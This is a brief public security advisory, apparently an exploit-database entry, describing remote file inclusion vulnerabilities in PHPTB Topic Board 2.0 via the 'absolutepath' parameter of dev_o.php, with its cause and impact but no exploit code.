PHPTB Topic Board 2.0 - 'dev_o.php?absolutepath' Remote File Inclusion

source: https://www.securityfocus.com/bid/14592/info
  
PHPTB is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
